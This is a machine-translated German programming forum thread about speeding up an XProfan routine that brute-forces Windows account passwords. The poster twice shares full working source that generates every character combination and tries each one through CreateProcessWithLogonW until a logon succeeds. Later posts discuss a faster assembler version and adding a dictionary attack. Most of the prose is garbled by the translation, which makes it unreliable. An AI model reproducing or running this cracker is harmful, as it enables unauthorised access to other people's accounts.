Regulars table & Café | | | | - Page 1 - |
|  | Ha someone something genauere data circa how much MASM32 faster is as Profan? If the time someone tested? |
| | | | |
| | | | | - Page 2 - |
|  | Hello Frank...
best Thanks, that You you whom code already time respected have. there have I me wirlich some Anfängerschnitzer installed. - a Variablennamen wrong written, - a superfluous addition drin, - XP Neuerungen not bedacht, - Variable not correctly. deleted
i will time hoping, that the Message for Buttonabfrage XP not changed has (there are In any drop values dazugekommen) - otherwise nimm to hardship in Profan @GETFOCUS. I had me really think can, that the so not works => your Problem with the ToolTipps XP.
The Error Message with CreateProcessWithLogonW was something komplizierter. If one not each time before dien Content the two last Parameter deletes, can it vorkommen (according to the, what next Text in the code standing), that these variables with Sinnlosem code filled go. tappt im dunkeln must therefore each time to the Calling the function on zero staid go (stood already in the View source).
i will time hoping the it now too with you functions what about me not yet More Mist installed have:
The procedure PWCHECK should in The DLL
Proc PWCHECK
Parameters PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&
1.Parameter=To startendes Program
2.Parameter=name the Users which Password determined go should
3.Parameter=lever the Abbruchbuttons on the Mainwindow
4.Parameter=which letters as first letters settle (big-/Kleinschreibung)?
5.Parameter=which letters for The others letters in the word settle (Kleinschreibung)
6.Parameter=Password, if already famous
7.Parameter=where should the Password outputted go?
8.Parameter=amount the durchzurechnenden letters
DECLARE COUNT%,counter%[41]
Declare BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
Declare ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
Declare lpStartupinfo#,lpProcessInformation#
Declare PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
Declare Anfangszeichen#,characters#,PLUS%
DIM DOMAINN#,256
DIM SIDT#,4
DIM SIDS#,4
DIM DNSize#,4
DIM SIDAN#,800
DIM PHTOKEN#,4
Dim lpStartupInfo#,68
Dim lpProcessInformation#,16
DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
DIM PPASSWORT#,256
DIM Anfangszeichen#,300
DIM characters#,300
with the LSA particularly important - any variables with zero fill
Clear DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
Clear PPROGRAMM#,PPASSWORT#,Anfangszeichen#,characters#
@External("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
@External("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Strings go in reaches written
String Anfangszeichen#,0=Anfangszeichen$
String characters#,0=Zeichen_im_Wort$
LONG DNSize#,0=256
LONG SIDS#,0=800
In these API stick I Usernamen and get The Domain and whom SID out
@External("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
LET NDOMAIN$=@STRING$(DOMAINN#,0)
I need a Unicode String and dimensioniere The Variable for whom Domain String properly
DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
LET StartZeit$=@TIME$(0) can possibly lane
LET STARTDATUM$=@DATE$(0) can possibly lane
DIM PW#,256
CLEAR PW#
LET COUNT%=0
I wandele here The Strings in Unicode Strings circa
LET ACP&=@EXTERNAL("kernel32","GetACP")
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
LET counter%[0]=1
LET COUNT%=0
LET BYTE%=0
Long lpStartupInfo#,0=68
WHILENOT ENDE%
SET("FastMode",0) Streichen
forty letters reicht
IF COUNT%>Buchstabenanzahl&
LET ENDE%=1
endif
If in the Mainwindow discontinue pressed watts should exits go
IF @sendmessage(Button&,$00F2,0,0)=108
Messagebox would beautiful, must but not his
LET PANTWORT%=@MESSAGEBOX("Test is in the moment with "+@STRING$(pw#,0)+".
Test watts on the "+STARTDATUM$+" circa "+StartZeit$+" launched.","want tappt im dunkeln whom Test really Cancel?",292)
CASE PANTWORT%=6 : LET ENDE%=1
ENDIF
SET("FastMode",1)
any possible Bustabenkombinationen should stampeded go
IF PWWORT$=""
IF Count%=0
LET BYTE%=@BYTE(Anfangszeichen#,counter%[COUNT%]-1)
else
LET BYTE%=@BYTE(characters#,counter%[COUNT%]-1)
endif
IF BYTE%=0
WHILE BYTE%=0
LET counter%[COUNT%]=1
BYTE pw#,COUNT%=counter%[COUNT%]
INC COUNT%
LET counter%[COUNT%]=counter%[COUNT%]+1
LET BYTE%=@BYTE(characters#,counter%[COUNT%]-1)
WEND
else
LET counter%[COUNT%]=counter%[COUNT%]+1
endif
BYTE pw#,COUNT%=BYTE%
ELSE
String pw#,0=PWWORT$
LET ENDE%=1
endif
LET PW2$=@STRING$(pw#,0)
LET COUNT%=0
I need again a Unicode String
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
The function gives only 1 back, if the Password correctly. was
SET("FastMode",0)
@External("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
@External("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Long lpStartupInfo#,0=68
LET FERGEBNIS&=@External("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)
IF FERGEBNIS&=1
LET ENDE%=1
LET PW$=@STRING$(PW#,0)
ENDIF
wend
SET("FastMode",0)
DISPOSE PW#
DISPOSE DOMAINN#
DISPOSE SIDT#
DISPOSE DNSize#
DISPOSE SIDAN#
DISPOSE PHTOKEN#
DISPOSE SIDS#
DISPOSE lpStartupInfo#
DISPOSE lpProcessInformation#
Settext Ausgabefenster&,PW$
ENDPROC
the should not in The DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declare Button&,EDIT&,START&,IN$
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0
Whilenot @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)
Waitinput
WEND
Enablewindow Edit&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz","ßäöüabcdefghijklmnopqrstuvwxyz","",Edit&,7
Usecursor 0
No, it go no letters abgehakt sonder over ands over again turned. the whole is nothing other as count, here but not binary-, Octal- or Hexalsystem sonder here with 26 To maximum 255 unterschiedlichen Zuständen per place. |
| | | | |
| |  Frank Abbing | Hi,
[quote:806there4d370]No, it go no letters abgehakt sonder over ands over again turned. the whole is nothing other as count, here but not binary-, Octal- or Hexalsystem sonder here with 26 To maximum 255 unterschiedlichen Zuständen per place.[/quote:806there4d370] Yes, understood.
your Progrämmchen finds as always nothing. The discontinue-Button has too no effect. Have momentarily not plenty Time, but I mach the Assemblersuchen ready, if it again goes. |
| | | | |
| |  | Hello Frank...
you mußt your Accountnamen prompt, not whom names, whom you WindowsXP indicating. look time in the Ordner Dokunente and Settings to whom there vorhandenen Verzeichnisnamen, the are The among other things The Accountnamen. Also I had yet a incorrect Parameter with MultiByteToWideChar drin. The 2 must lane and a 0 mere (I change it supra). here time yet what with Anzeigeoption:
The procedure PWCHECK should in The DLL
Proc PWCHECK
Parameters PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&,ANZ&
1.Parameter=To startendes Program
2.Parameter=name the Users which Password determined go should
3.Parameter=lever the Abbruchbuttons on the Mainwindow
4.Parameter=which letters as first letters settle (big-/Kleinschreibung)?
5.Parameter=which letters for The others letters in the word settle (Kleinschreibung)
6.Parameter=Password, if already famous
7.Parameter=where should the Password outputted go?
8.Parameter=amount the durchzurechnenden letters
DECLARE COUNT%,counter%[41]
Declare BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
Declare ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
Declare lpStartupinfo#,lpProcessInformation#
Declare PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
Declare Anfangszeichen#,characters#,PLUS%
DIM DOMAINN#,256
DIM SIDT#,4
DIM SIDS#,4
DIM DNSize#,4
DIM SIDAN#,800
DIM PHTOKEN#,4
Dim lpStartupInfo#,68
Dim lpProcessInformation#,16
DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
DIM PPASSWORT#,256
DIM Anfangszeichen#,300
DIM characters#,300
with the LSA particularly important - any variables with zero fill
Clear DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
Clear PPROGRAMM#,PPASSWORT#,Anfangszeichen#,characters#
@External("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
@External("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Strings go in reaches written
String Anfangszeichen#,0=Anfangszeichen$
String characters#,0=Zeichen_im_Wort$
LONG DNSize#,0=256
LONG SIDS#,0=800
In these API stick I Usernamen and get The Domain and whom SID out
@External("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
LET NDOMAIN$=@STRING$(DOMAINN#,0)
I need a Unicode String and dimensioniere The Variable for whom Domain String properly
DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
DIM PW#,256
CLEAR PW#
LET COUNT%=0
I wandele here The Strings in Unicode Strings circa
LET ACP&=@EXTERNAL("kernel32","GetACP")
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
LET counter%[0]=1
LET COUNT%=0
LET BYTE%=0
Long lpStartupInfo#,0=68
WHILENOT ENDE%
SET("FastMode",0)
IF @or(@sendmessage(Button&,$00F2,0,0)=108,COUNT%>Buchstabenanzahl&)
LET ENDE%=1
ENDIF
SET("FastMode",1)
IF PWWORT$=""
IF Count%=0
LET BYTE%=@BYTE(Anfangszeichen#,counter%[COUNT%]-1)
else
LET BYTE%=@BYTE(characters#,counter%[COUNT%]-1)
endif
IF BYTE%=0
WHILE BYTE%=0
LET counter%[COUNT%]=1
BYTE pw#,COUNT%=counter%[COUNT%]
INC COUNT%
LET counter%[COUNT%]=counter%[COUNT%]+1
LET BYTE%=@BYTE(characters#,counter%[COUNT%]-1)
WEND
else
LET counter%[COUNT%]=counter%[COUNT%]+1
endif
BYTE pw#,COUNT%=BYTE%
ELSE
String pw#,0=PWWORT$
LET ENDE%=1
endif
LET PW2$=@STRING$(pw#,0)
LET COUNT%=0
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
CASE @Getcheck(Anz&) : SETTEXT Ausgabefenster&,PW2$
@External("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Long lpStartupInfo#,0=68
LET FERGEBNIS&=@External("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)
IF FERGEBNIS&=1
LET ENDE%=1
LET PW$=@STRING$(PW#,0)
ENDIF
wend
SET("FastMode",0)
DISPOSE PW#
DISPOSE DOMAINN#
DISPOSE SIDT#
DISPOSE DNSize#
DISPOSE SIDAN#
DISPOSE PHTOKEN#
DISPOSE SIDS#
DISPOSE lpStartupInfo#
DISPOSE lpProcessInformation#
Settext Ausgabefenster&,PW$
ENDPROC
the should not in The DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declare Button&,EDIT&,START&,IN$,BA&,BI&,Ausgabe&,Anzeigen&
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Ba&=@CREATEEDIT(%HWND,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz",20,50,200,20)
LET Bi&=@CREATEEDIT(%HWND,"ßäöüabcdefghijklmnopqrstuvwxyz",20,80,200,20)
LET Anzeigen&=@CREATECheckbox(%HWND,"Verlauf Anzeigen",20,110,200,20)
LET Ausgabe&=@CREATEText(%HWND,"",20,150,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0
Whilenot @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)
Waitinput
Case %MENUITEM=-2 : END
WEND
Enablewindow Edit&,0
Enablewindow Ba&,0
Enablewindow Bi&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
Locate 20,0
Print "Function watts on the "+@Date$(1)+" circa "+@TIME$(0)+" watch launched..."
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,@GetText$(Ba&),@GetText$(Bi&),"",Ausgabe&,7,Anzeigen&
Usecursor 0
Waitinput
|
| | | | |
| |  | alas Yes...
BUTTON :roll:
moreover time one Test:
cls
Declare Button&
Let Button&=@createbutton(%HWND,"OK",10,10,100,30)
While 0=0
DrawText 0,100,@st$(@sendmessage(Button&,$00F2,0,0))+" "
sleep 10
wend
The Message asks whom status the Buttons ex. following values gives tappt im dunkeln by me back: - Button not gedrückt=0 - Mauscursor lying on Button=keine Änderung - Button gedrückt=108 - Focus lying on Button=8 - Focus lying not Button=0
I have whom suspicion the XProfan with Manifesto here others and yet More values zurückgiebt. if so, might the too the reason for the Tooltipp trouble XP his...  |
| | | | |
| |  Frank Abbing | Hi,
but The Tooltippgeschichte becomes still Windows manages... |
| | | | |
| |  | [quote:c026f5ex54] but The Tooltippgeschichte becomes still Windows manages... [/quote:c026f5ex54] The status the Buttons still too, or? I go time integrally heavy of it from, that the status the Buttons, if it not yet pressed watts and the Mauscursor on it rest not 512 is - is the right? very there lying well the Problem with the Tooltipps - I kanns unfortunately not testing, but I think I Have right.
PS: Entfern the Manifesto and my View source runs. |
| | | | |
| |  Frank Abbing | Hi,
You irrst you. he's then 512. How already written  Have whom MASM-code ready and poste it same. |
| | | | |
| |  Frank Abbing | Hi,
so, here the Testprogramm. Passwörter must Großbuchstaben his. The times to that calculate tile itself with the Values from the Webpage, The iF here posted having, for 26it Passwörter.
The Assemblercode is not yet optimiert and using to that comparison the Strings The API lstrcmp(), The but very quick operates. |
| | | | |
| | | | - Page 3 - |
| |  Rolf Koch | Hi AH,
[quote:2bf116be6f] Entfern the Manifesto and my View source runs [/quote:2bf116be6f] circa Gottes sake - points You really How mean the old solid Windows looks, if one of Win 9x on XP umgestiegen is. In my eyes is the Manifesto one the important items the windows Neuerungen.
I lach me dead, if I today The globigen viereckigen boring Buttons see. gives designtechnisch nothing schlimmeres.
Aufm MAC was before already schöner. levelly and Hovermässig. freshly as here the community.
Rolf |
| | | | |
| |  | Hallöchen Rolf...
i think time, one ought to itself zumindestens very very so explain what there very verbogen becomes - and How one here sees shine the integrally fundamental things To his... |
| | | | |
| |  Rolf Koch | ... there give I you naturally utterly right, AH. I have it Yes only from visibility the Designs and not from visibility the Ablaufs seen. is hold Schade, that the Manifesto too others Messages auslöst.
Rolf |
| | | | |
| |  | Hello Frank...
best Thanks for your Test DLL. the was very the, I first once used have. one could means until fifth letters over a MASM DLL weg and thereafter the Password with Wörtern a Wörterbuch beschießen. I have now something longer Fortbildung and night shift, thereafter I will me a Program begeben, the me automatically Wörter for this Wörterbuch collecting.
@Rolf: what nützt the most beautiful solid if Buttons, Tooltipps and Groupboxes not any more functions because the Rückgaben of Messages simply moved go? |
| | | | |
|
AnswerTopic-Options | 25.716 Views |
Themeninformationenthis Topic has 4 subscriber: |